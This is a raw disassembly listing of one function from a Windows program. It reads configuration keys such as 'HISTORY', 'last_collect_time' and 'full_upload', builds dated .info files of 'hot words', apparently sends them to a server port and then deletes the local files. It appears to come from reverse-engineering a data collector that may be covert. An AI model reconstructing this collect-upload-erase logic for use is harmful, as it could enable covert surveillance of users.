test al, al
je 0x412e5a
mov edi, dword [esp + 0xc0]
mov edx, dword [esp + 0xcc]
mov ebx, dword [esp + 0xc4]
mov ecx, dword [esp + 0xd0]
sub edi, edx
mov edx, dword [esp + 0x54]
push edx
sbb ebx, ecx
call fcn.0041e487
add esp, 4
push 0
cdq
push 0x15180
push ebx
mov ecx, edx
push edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x30], ecx
call fcn.0041dfb0
mov ecx, dword [esp + 0x14]
sub eax, ecx
mov ecx, dword [esp + 0x20]
sbb edx, ecx
mov dword [esp + 0x18], edx
js 0x412e53
jg 0x412c38
test eax, eax
jbe 0x412e53
push str._Y__m__d
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0xc8]
call fcn.0040cf50
mov ecx, dword [eax]
push str..info
push ecx
push 4
lea edx, [esp + 0x34]
push str._d_word__s_s
push edx
mov byte [esp + 0x25c], 0x3c
call fcn.00401cf0
mov bl, 0x36
add esp, 0x14
lea ecx, [esp + 0x14]
mov byte [esp + 0x248], bl
call fcn.004014e0
push 0x42b680
lea ecx, [esp + 0x14]
call fcn.004062b0
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x28]
push edx
call fcn.0040a650
add esp, 0xc
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x24c], 0x3d
call fcn.004060a0
lea ecx, [esp + 0x20]
mov byte [esp + 0x248], bl
call fcn.004014e0
mov eax, dword [esi + 0x10]
test eax, eax
je 0x4138dc
mov ecx, dword [esp + 0x38]
mov edi, eax
mov eax, dword [esp + 0x34]
mov ebx, dword [edi]
push eax
push ecx
call fcn.0041e487
mov edx, dword [esp + 0x18]
add esp, 4
push eax
mov eax, dword [esp + 0xd0]
push edx
push eax
push 4
mov ecx, edi
call dword [ebx + 0x18]
test al, al
je 0x412e46
push str._GetHotWords__type4
call fcn.004011c0
add esp, 4
lea ecx, [esp + 0x10]
call fcn.00401840
push eax
lea ecx, [esp + 0x14]
call fcn.00401840
push eax
call fcn.0041e48c
add esp, 8
test eax, eax
jne 0x412d3d
push 0x42c7fc
jmp 0x412d42
push 0x42c7e0
call fcn.004011c0
mov ecx, dword [esp + 0x14]
add esp, 4
push ecx
mov ecx, esi
call fcn.0040a090
mov edx, dword [esp + 0x48]
push edx
mov edi, eax
call fcn.0041e487
add esp, 4
cmp edi, eax
jge 0x412e53
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4138dc
lea eax, [esp + 0x14]
push eax
mov ecx, esi
call fcn.0040d7e0
mov edi, eax
mov ecx, dword [esi + 0x14]
mov edx, dword [esp + 0x34]
mov eax, dword [esi + 0x44]
mov ebx, dword [ecx]
push edx
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x250], 0x3e
call fcn.00401840
push eax
lea ecx, [esp + 0x50]
call fcn.00401840
push eax
lea ecx, [esp + 0x20]
call fcn.00401840
push eax
mov ecx, edi
call fcn.00401840
mov ecx, dword [esi + 0x14]
push eax
call dword [ebx + 8]
lea ecx, [esp + 0x14]
mov edi, eax
mov byte [esp + 0x248], 0x36
call fcn.004014e0
test edi, edi
je 0x412e2b
mov ecx, esi
call fcn.00409eb0
mov ecx, dword [esp + 0x2c]
mov edi, dword [esp + 0xb4]
push ecx
push str.last_collect_time
mov ecx, edi
call fcn.00415ea0
mov edx, dword [esp + 0x1c]
push edx
push 0x42c7c8
push str._s_port_s
lea ebx, [esi + 0x4c]
push ebx
call fcn.00401cf0
add esp, 0x10
mov ecx, ebx
call fcn.00401840
push eax
call fcn.004011c0
add esp, 4
jmp 0x412e32
mov edi, dword [esp + 0xb4]
mov al, byte [esi + 0x48]
test al, al
je 0x412e5a
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x412e5a
push 0x42c7a4
call fcn.004011c0
add esp, 4
mov edi, dword [esp + 0xb4]
mov ecx, dword [esp + 0x84]
push str.true
push ecx
call fcn.0041e2b7
add esp, 8
test eax, eax
jne 0x4130dc
mov edx, dword [esp + 0x58]
push 0x42b47c
push edx
call fcn.0041e2b7
add esp, 8
test eax, eax
jne 0x4130dc
lea eax, [esp + 0x20]
push eax
push ecx
lea edx, [esp + 0x58]
xor ebx, ebx
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
call fcn.00405d20
mov ecx, esi
call fcn.0040a500
mov eax, dword [esp + 0xc0]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
sub eax, ecx
mov ecx, dword [esp + 0xc4]
sbb ecx, edx
sub esp, 8
mov dword [esp + 0x28], eax
mov eax, esp
mov dword [esp + 0x2c], ecx
lea ecx, [esp + 0x28]
mov dword [esp + 0x1c], esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00409de0
test al, al
je 0x4130dc
push str._Y__m__d
lea edx, [esp + 0x18]
push edx
lea ecx, [esp + 0xc8]
call fcn.0040cf50
mov eax, dword [eax]
push str..info
push eax
push 5
lea ecx, [esp + 0x34]
push str._d_word__s_s
push ecx
mov byte [esp + 0x25c], 0x3f
call fcn.00401cf0
add esp, 0x14
lea ecx, [esp + 0x14]
mov byte [esp + 0x248], 0x36
call fcn.004014e0
push 0x42b680
lea ecx, [esp + 0x14]
call fcn.004062b0
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x28]
push ecx
call fcn.0040a650
add esp, 0xc
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x24c], 0x40
call fcn.004060a0
lea ecx, [esp + 0x20]
mov byte [esp + 0x248], 0x36
call fcn.004014e0
mov eax, dword [esi + 0x10]
cmp eax, ebx
je 0x4138dc
mov edx, dword [esp + 0x34]
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x14], eax
mov eax, dword [eax]
push edx
push ecx
mov dword [esp + 0x28], eax
call fcn.0041e487
mov ebx, dword [esp + 0x18]
mov edx, dword [esp + 0xd0]
mov ecx, dword [esp + 0x1c]
add esp, 4
push eax
mov eax, dword [esp + 0x28]
push ebx
push edx
push 5
call dword [eax + 0x18]
test al, al
je 0x4130cf
push str._GetHotWords__type5
call fcn.004011c0
add esp, 4
push ebx
mov ecx, esi
call fcn.0040a090
mov ebx, eax
mov eax, dword [esp + 0x48]
push eax
call fcn.0041e487
add esp, 4
cmp ebx, eax
jge 0x4130dc
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4138dc
lea ecx, [esp + 0x20]
push ecx
mov ecx, esi
call fcn.0040d7e0
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x34]
mov ecx, dword [esi + 0x44]
mov edx, dword [esi + 0x14]
mov ebx, dword [edx]
push eax
push ecx
lea ecx, [esp + 0x24]
mov byte [esp + 0x250], 0x41
call fcn.00401840
push eax
lea ecx, [esp + 0x50]
call fcn.00401840
push eax
lea ecx, [esp + 0x20]
call fcn.00401840
mov ecx, dword [esp + 0x24]
push eax
call fcn.00401840
mov ecx, dword [esi + 0x14]
push eax
call dword [ebx + 8]
lea ecx, [esp + 0x20]
mov ebx, eax
mov byte [esp + 0x248], 0x36
call fcn.004014e0
test ebx, ebx
je 0x4130bb
mov ecx, esi
call fcn.00409eb0
push 0x42b444
push str.full_upload
mov ecx, edi
call fcn.00415ea0
mov edx, dword [esp + 0x1c]
push edx
push 0x42c768
push str._s_port_s
lea edi, [esi + 0x4c]
push edi
call fcn.00401cf0
add esp, 0x10
mov ecx, edi
call fcn.00401840
push eax
call fcn.004011c0
add esp, 4
mov al, byte [esi + 0x48]
test al, al
je 0x4130dc
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x4130dc
push 0x42c744
call fcn.004011c0
add esp, 4
push str.HISTORY
mov ecx, ebp
call fcn.00415500
mov edi, eax
push str.open
mov ecx, edi
mov dword [esp + 0xb8], edi
call fcn.00415e70
push eax
lea ecx, [esp + 0x50]
call fcn.004062b0
mov ecx, dword [esp + 0x4c]
push ecx
call fcn.0041e487
add esp, 4
cmp eax, 1
jne 0x41371a
push str.repeat
mov ecx, edi
call fcn.00415e70
push eax
lea ecx, [esp + 0x3c]
call fcn.004062b0
push str.interval
mov ecx, edi
call fcn.00415e70
push eax
lea ecx, [esp + 0x58]
call fcn.004062b0
push str.last_collect_time
mov ecx, edi
call fcn.00415e70
push eax
lea ecx, [esp + 0x40]
call fcn.004062b0
push str.full_upload
mov ecx, edi
call fcn.00415e70
push eax
lea ecx, [esp + 0x5c]
call fcn.004062b0
push str.effective_date
mov ecx, edi
call fcn.00415e70
push eax
lea ecx, [esp + 0xa8]
call fcn.004062b0
push str.invalidate_date
mov ecx, edi
call fcn.00415e70
push eax
lea ecx, [esp + 0x74]
call fcn.004062b0
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x3c]
push edx
push eax
call fcn.0041e2b7
add esp, 8
test eax, eax
je 0x413436
lea ecx, [esp + 0xcc]
push ecx
push ecx
lea edx, [esp + 0x44]
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
call fcn.00405d20
mov ecx, esi
call fcn.0040a500
mov edi, dword [esp + 0xc0]
mov ecx, dword [esp + 0xcc]
mov ebx, dword [esp + 0xc4]
mov eax, dword [esp + 0xd0]
sub edi, ecx
sbb ebx, eax
mov eax, dword [esp + 0x54]
push eax
call fcn.0041e487
add esp, 4
push 0
cdq
push 0x15180
push ebx
mov ecx, edx
push edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x30], ecx
call fcn.0041dfb0
mov ecx, dword [esp + 0x14]
sub eax, ecx
mov ecx, dword [esp + 0x20]
sbb edx, ecx
mov dword [esp + 0x18], edx
js 0x41342f
jg 0x413244
test eax, eax
jbe 0x41342f
push str._Y__m__d
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0xc8]
call fcn.0040cf50
mov edx, dword [eax]
push str..info
push edx
push 2
lea eax, [esp + 0x34]
push str._d_word__s_s
push eax
mov byte [esp + 0x25c], 0x42
call fcn.00401cf0
mov bl, 0x36
add esp, 0x14
lea ecx, [esp + 0x14]
mov byte [esp + 0x248], bl
call fcn.004014e0
push 0x42b680
lea ecx, [esp + 0x14]
call fcn.004062b0
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0x28]
push eax
call fcn.0040a650
add esp, 0xc
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x24c], 0x43
call fcn.004060a0
lea ecx, [esp + 0x20]
mov byte [esp + 0x248], bl
call fcn.004014e0
mov eax, dword [esi + 0x10]
test eax, eax
je 0x4138dc
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x38]
mov edi, eax
mov eax, dword [edi]
push ecx
push edx
mov dword [esp + 0x1c], eax
call fcn.0041e487
mov ebx, dword [esp + 0x18]
add esp, 4
push eax
mov eax, dword [esp + 0xd0]
push ebx
push eax
mov eax, dword [esp + 0x24]
push 2
mov ecx, edi
call dword [eax + 0x18]
test al, al
je 0x413422
push str._GetHotWords__type2
call fcn.004011c0
add esp, 4
push ebx
mov ecx, esi
call fcn.0040a090
mov ecx, dword [esp + 0x48]
push ecx
mov edi, eax
call fcn.0041e487
add esp, 4
cmp edi, eax
jge 0x41342f
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4138dc
lea edx, [esp + 0x14]
push edx
mov ecx, esi
call fcn.0040d7e0
mov edi, eax
mov ecx, dword [esp + 0x34]
mov edx, dword [esi + 0x44]
mov eax, dword [esi + 0x14]
mov ebx, dword [eax]
push ecx
push edx
lea ecx, [esp + 0x24]
mov byte [esp + 0x250], 0x44
call fcn.00401840
push eax
lea ecx, [esp + 0x50]
call fcn.00401840
push eax
lea ecx, [esp + 0x20]
call fcn.00401840
push eax
mov ecx, edi
call fcn.00401840
mov ecx, dword [esi + 0x14]
push eax
call dword [ebx + 8]
lea ecx, [esp + 0x14]
mov edi, eax
mov byte [esp + 0x248], 0x36
call fcn.004014e0
test edi, edi
je 0x413407
mov ecx, esi
call fcn.00409eb0
mov eax, dword [esp + 0x2c]
mov edi, dword [esp + 0xb4]
push eax
push str.last_collect_time
mov ecx, edi
call fcn.00415ea0
mov ecx, dword [esp + 0x1c]
push ecx
push 0x42c708
push str._s_port_s
lea ebx, [esi + 0x4c]
push ebx
call fcn.00401cf0
add esp, 0x10
mov ecx, ebx
call fcn.00401840
push eax
call fcn.004011c0
add esp, 4
jmp 0x41340e
mov edi, dword [esp + 0xb4]
mov al, byte [esi + 0x48]
test al, al
je 0x413436
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x413436
push 0x42c6e4
call fcn.004011c0
add esp, 4
mov edi, dword [esp + 0xb4]
mov eax, dword [esp + 0x58]
push 0x42b47c
push eax
call fcn.0041e2b7
add esp, 8
test eax, eax
jne 0x41371a
lea ecx, [esp + 0x20]
push ecx
push ecx
lea edx, [esp + 0xac]
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0xc4], eax
mov dword [esp + 0xc8], eax
call fcn.00405d20
mov ecx, esi
call fcn.0040a500
lea eax, [esp + 0xb8]
push eax
push ecx
lea edx, [esp + 0x78]
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
call fcn.00405d20
mov ecx, esi
call fcn.0040a500
mov eax, dword [esp + 0xc0]
mov ebx, dword [esp + 0x20]
mov ecx, dword [esp + 0xc4]
mov edx, eax
sub edx, ebx
mov ebx, ecx
sbb ebx, dword [esp + 0x24]
mov dword [esp + 0x20], edx
sub eax, dword [esp + 0xb8]
mov dword [esp + 0x24], ebx
sbb ecx, dword [esp + 0xbc]
sub esp, 8
mov dword [esp + 0xc0], eax
mov eax, esp
mov dword [esp + 0xc4], ecx
lea ecx, [esp + 0x28]
mov dword [esp + 0x1c], esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00409de0
test al, al
je 0x41371a
sub esp, 8
mov eax, esp
lea ecx, [esp + 0xc0]
mov dword [esp + 0x1c], esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00409dc0
test al, al
je 0x41371a
push str._Y__m__d
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0xc8]
call fcn.0040cf50
mov ecx, dword [eax]
push str..info
push ecx
push 3
lea edx, [esp + 0x34]
push str._d_word__s_s
push edx
mov byte [esp + 0x25c], 0x45
call fcn.00401cf0
mov bl, 0x36
add esp, 0x14
lea ecx, [esp + 0x14]
mov byte [esp + 0x248], bl
call fcn.004014e0
push 0x42b680
lea ecx, [esp + 0x14]
call fcn.004062b0
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x28]
push edx
call fcn.0040a650
add esp, 0xc
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x24c], 0x46
call fcn.004060a0
lea ecx, [esp + 0x20]
mov byte [esp + 0x248], bl
call fcn.004014e0
mov eax, dword [esi + 0x10]
test eax, eax
je 0x4138dc
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x38]
mov dword [esp + 0x14], eax
mov eax, dword [eax]
push ecx
push edx
mov dword [esp + 0x28], eax
call fcn.0041e487
mov ebx, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
add esp, 4
push eax
mov eax, dword [esp + 0xd0]
push ebx
push eax
mov eax, dword [esp + 0x30]
push 3
call dword [eax + 0x18]
test al, al
je 0x41370d
push str._GetHotWords__type3
call fcn.004011c0
add esp, 4
push ebx
mov ecx, esi
call fcn.0040a090
mov ecx, dword [esp + 0x48]
push ecx
mov ebx, eax
call fcn.0041e487
add esp, 4
cmp ebx, eax
jge 0x41371a
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4138dc
lea edx, [esp + 0x20]
push edx
mov ecx, esi
call fcn.0040d7e0
mov dword [esp + 0x14], eax
mov ecx, dword [esp + 0x34]
mov edx, dword [esi + 0x44]
mov eax, dword [esi + 0x14]
mov ebx, dword [eax]
push ecx
push edx
lea ecx, [esp + 0x24]
mov byte [esp + 0x250], 0x47
call fcn.00401840
push eax
lea ecx, [esp + 0x50]
call fcn.00401840
push eax
lea ecx, [esp + 0x20]
call fcn.00401840
mov ecx, dword [esp + 0x24]
push eax
call fcn.00401840
mov ecx, dword [esi + 0x14]
push eax
call dword [ebx + 8]
lea ecx, [esp + 0x20]
mov ebx, eax
mov byte [esp + 0x248], 0x36
call fcn.004014e0
test ebx, ebx
je 0x4136f9
mov ecx, esi
call fcn.00409eb0
push 0x42b444
push str.full_upload
mov ecx, edi
call fcn.00415ea0
mov eax, dword [esp + 0x1c]
push eax
push 0x42c6a8
push str._s_port_s
lea edi, [esi + 0x4c]
push edi
call fcn.00401cf0
add esp, 0x10
mov ecx, edi
call fcn.00401840
push eax
call fcn.004011c0
add esp, 4
mov al, byte [esi + 0x48]
test al, al
je 0x41371a
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x41371a
push 0x42c684
call fcn.004011c0
add esp, 4
push str.MAKE
mov ecx, ebp
call fcn.00415500
mov ebx, eax
push str.open
mov ecx, ebx
call fcn.00415e70
push eax
lea ecx, [esp + 0x50]
call fcn.004062b0
mov edx, dword [esp + 0x4c]
push edx
call fcn.0041e487
add esp, 4
cmp eax, 1
jne 0x413b34
push str.last_collect_time
mov ecx, ebx
call fcn.00415e70
push eax
lea ecx, [esp + 0x60]
call fcn.004062b0
push str.interval
mov ecx, ebp
call fcn.00415e70
push eax
lea ecx, [esp + 0x78]
call fcn.004062b0
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x5c]
push eax
push ecx
call fcn.0041e2b7
add esp, 8
test eax, eax
je 0x413b34
lea edx, [esp + 0xcc]
push edx
push ecx
lea eax, [esp + 0x64]
mov ecx, esp
mov dword [esp + 0x1c], esp
push eax
call fcn.00405d20
mov ecx, esi
call fcn.0040a500
mov edi, dword [esp + 0xc0]
mov ecx, dword [esp + 0xcc]
mov ebp, dword [esp + 0xc4]
mov eax, dword [esp + 0xd0]
sub edi, ecx
mov ecx, dword [esp + 0x74]
push ecx
sbb ebp, eax
call fcn.0041e487
add esp, 4
push 0
cdq
push 0x15180
push ebp
mov ecx, edx
push edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x30], ecx
call fcn.0041dfb0
mov ecx, dword [esp + 0x14]
sub eax, ecx
mov ecx, dword [esp + 0x20]
sbb edx, ecx
mov dword [esp + 0xd0], edx
js 0x413b34
jg 0x413823
test eax, eax
jbe 0x413b34
push str.make.info
lea ecx, [esp + 0x2c]
call fcn.004062b0
push 0x42b680
lea ecx, [esp + 0x14]
call fcn.004062b0
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x1c]
push ecx
call fcn.0040a650
add esp, 0xc
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x24c], 0x48
call fcn.004060a0
lea ecx, [esp + 0x14]
mov byte [esp + 0x248], 0x36
call fcn.004014e0
mov eax, dword [esi + 0x10]
test eax, eax
je 0x4138dc
mov ebp, dword [esp + 0x34]
mov edi, dword [esp + 0x10]
push ebp
push 1
mov ecx, eax
mov eax, dword [esp + 0xd0]
mov edx, dword [ecx]
push edi
push eax
push 6
call dword [edx + 0x18]
test al, al
je 0x413b27
push str._GetHotWords__type6
call fcn.004011c0
add esp, 4
push edi
mov ecx, esi
call fcn.0040a090
mov ecx, dword [esp + 0x48]
push ecx
mov edi, eax
call fcn.0041e487
add esp, 4
cmp edi, eax
jge 0x413b34
mov eax, dword [esi + 0x14]
test eax, eax
jne 0x413a65
lea ecx, [esp + 0x4c]
call fcn.004014e0
lea ecx, [esp + 0x2c]
call fcn.004014e0
lea ecx, [esp + 0x1c]
call fcn.004014e0
lea ecx, [esp + 0x6c]
call fcn.004014e0
lea ecx, [esp + 0xac]
call fcn.004014e0
lea ecx, [esp + 0x28]
call fcn.004014e0
lea ecx, [esp + 0x10]
call fcn.004014e0
lea ecx, [esp + 0x30]
call fcn.004014e0
lea ecx, [esp + 0x60]
call fcn.004014e0
lea ecx, [esp + 0x40]
call fcn.004014e0
lea ecx, [esp + 0x7c]
call fcn.004014e0
lea ecx, [esp + 0x48]
call fcn.004014e0
lea ecx, [esp + 0xa8]
call fcn.004014e0
lea ecx, [esp + 0x94]
call fcn.004014e0
lea ecx, [esp + 0x98]
call fcn.004014e0
lea ecx, [esp + 0xa0]
call fcn.004014e0
lea ecx, [esp + 0x70]
call fcn.004014e0
lea ecx, [esp + 0xa4]
call fcn.004014e0
lea ecx, [esp + 0x50]
call fcn.004014e0
lea ecx, [esp + 0x64]
call fcn.004014e0
lea ecx, [esp + 0x58]
call fcn.004014e0
lea ecx, [esp + 0x84]
call fcn.004014e0
lea ecx, [esp + 0x5c]
call fcn.004014e0
lea ecx, [esp + 0x3c]
call fcn.004014e0
lea ecx, [esp + 0x68]
call fcn.004014e0
lea ecx, [esp + 0x38]
call fcn.004014e0
lea ecx, [esp + 0x9c]
call fcn.004014e0
lea ecx, [esp + 0x8c]
call fcn.004014e0
lea ecx, [esp + 0x44]
call fcn.004014e0
lea ecx, [esp + 0x90]
call fcn.004014e0
lea ecx, [esp + 0x74]
call fcn.004014e0
lea ecx, [esp + 0x54]
call fcn.004014e0
lea ecx, [esp + 0x78]
call fcn.004014e0
lea ecx, [esp + 0xb0]
call fcn.004014e0
lea ecx, [esp + 0x80]
call fcn.004014e0
lea ecx, [esp + 0x88]
call fcn.004014e0
lea ecx, [esp + 0xe4]
mov dword [esp + 0x248], 0xffffffff
call fcn.00405c30
xor al, al
jmp 0x413ce1
lea edx, [esp + 0x20]
push edx
mov ecx, esi
call fcn.0040d7e0
mov edi, eax
mov ecx, dword [esi + 0x44]
mov eax, dword [esi + 0x14]
mov eax, dword [eax]
push ebp
push ecx
lea ecx, [esp + 0x24]
mov byte [esp + 0x250], 0x49
mov dword [esp + 0x1c], eax
call fcn.00401840
push eax
lea ecx, [esp + 0x50]
call fcn.00401840
push eax
lea ecx, [esp + 0x20]
call fcn.00401840
push eax
mov ecx, edi
call fcn.00401840
mov ecx, dword [esi + 0x14]
push eax
mov eax, dword [esp + 0x2c]
call dword [eax + 8]
lea ecx, [esp + 0x20]
mov edi, eax
mov byte [esp + 0x248], 0x36
call fcn.004014e0
test edi, edi
je 0x413b13
mov ecx, esi
call fcn.00409eb0
mov edx, dword [esp + 0x2c]
push edx
push str.last_collect_time
mov ecx, ebx
call fcn.00415ea0
mov eax, dword [esp + 0x1c]
push eax
push 0x42c640
push str._s_port_s
lea edi, [esi + 0x4c]
push edi
call fcn.00401cf0
add esp, 0x10
mov ecx, edi
call fcn.00401840
push eax
call fcn.004011c0
add esp, 4
mov al, byte [esi + 0x48]
test al, al
je 0x413b34
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x413b34
push 0x42c61c
call fcn.004011c0
add esp, 4
lea ecx, [esp + 0x4c]
mov byte [esp + 0x248], 0x33
call fcn.004014e0
mov eax, dword [esi + 0x3c]
push eax
lea ecx, [esp + 0xe8]
call fcn.00415620
mov edx, dword [esp + 0x250]
push 4
push edx
mov ecx, esi
call fcn.0040d490
lea ecx, [esp + 0x2c]
call fcn.004014e0
lea ecx, [esp + 0x1c]
call fcn.004014e0
lea ecx, [esp + 0x6c]
call fcn.004014e0
lea ecx, [esp + 0xac]
call fcn.004014e0
lea ecx, [esp + 0x28]
call fcn.004014e0
lea ecx, [esp + 0x10]
call fcn.004014e0
lea ecx, [esp + 0x30]
call fcn.004014e0
lea ecx, [esp + 0x60]
call fcn.004014e0
lea ecx, [esp + 0x40]
call fcn.004014e0
lea ecx, [esp + 0x7c]
call fcn.004014e0
lea ecx, [esp + 0x48]
call fcn.004014e0
lea ecx, [esp + 0xa8]
call fcn.004014e0
lea ecx, [esp + 0x94]
call fcn.004014e0
lea ecx, [esp + 0x98]
call fcn.004014e0
lea ecx, [esp + 0xa0]
call fcn.004014e0
lea ecx, [esp + 0x70]
call fcn.004014e0
lea ecx, [esp + 0xa4]
call fcn.004014e0
lea ecx, [esp + 0x50]
call fcn.004014e0
lea ecx, [esp + 0x64]
call fcn.004014e0
lea ecx, [esp + 0x58]
call fcn.004014e0
lea ecx, [esp + 0x84]
call fcn.004014e0
lea ecx, [esp + 0x5c]
call fcn.004014e0
lea ecx, [esp + 0x3c]
call fcn.004014e0
lea ecx, [esp + 0x68]
call fcn.004014e0
lea ecx, [esp + 0x38]
call fcn.004014e0
lea ecx, [esp + 0x9c]
call fcn.004014e0
lea ecx, [esp + 0x8c]
call fcn.004014e0
lea ecx, [esp + 0x44]
call fcn.004014e0
lea ecx, [esp + 0x90]
call fcn.004014e0
lea ecx, [esp + 0x74]
call fcn.004014e0
lea ecx, [esp + 0x54]
call fcn.004014e0
lea ecx, [esp + 0x78]
call fcn.004014e0
lea ecx, [esp + 0xb0]
call fcn.004014e0
lea ecx, [esp + 0x80]
call fcn.004014e0
lea ecx, [esp + 0x88]
call fcn.004014e0
mov dword [esp + 0x248], 0xffffffff
lea ecx, [esp + 0xe4]
call fcn.00405c30
mov al, 1
mov ecx, dword [esp + 0x240]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x23c]
call fcn.0041d05e
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x23c
ret 4